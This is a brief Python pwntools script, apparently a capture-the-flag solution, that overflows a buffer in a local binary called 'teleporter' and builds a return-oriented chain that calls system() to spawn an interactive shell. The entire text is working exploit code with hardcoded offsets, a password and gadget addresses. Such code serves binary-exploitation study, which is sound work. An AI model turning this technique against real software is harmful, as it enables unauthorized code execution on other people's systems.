Teleporter Linux x64 binary buffer overflow ROP chain exploit

teleporter_exploit.sh

#!/usr/bin/python3

from pwn import *
import time, sys

#Setup the binary
elf = context.binary = ELF('./teleporter')

#Enable logging
#context.log_level = 'debug'

offset = 256

passwd = "Ho1d_4h3_D00r! ".encode('utf-8')
null = '\0'.encode('utf-8')
padding = passwd + null + cyclic(248)


SYSTEM_PLT = elf.plt['system']
info('SYSTEM %x', SYSTEM_PLT)

system_addr = SYSTEM_PLT
sh_addr = 0x402019


rop_chain = p64(0x40136b, endian='little')
rop_chain += p64(sh_addr, endian='little')
rop_chain += p64(0x4012bf,endian='little') #system call from f func
#rop_chain = p64(0x4012b8,endian='little')


payload = padding + rop_chain
print('[#] PAYLOAD: ', payload)

# Start the process
io = process(elf.path)

data = io.recv(1024)
info(data)
# Send payload for crash
io.sendline(payload)

data = io.recv()
info(data)

io.interactive()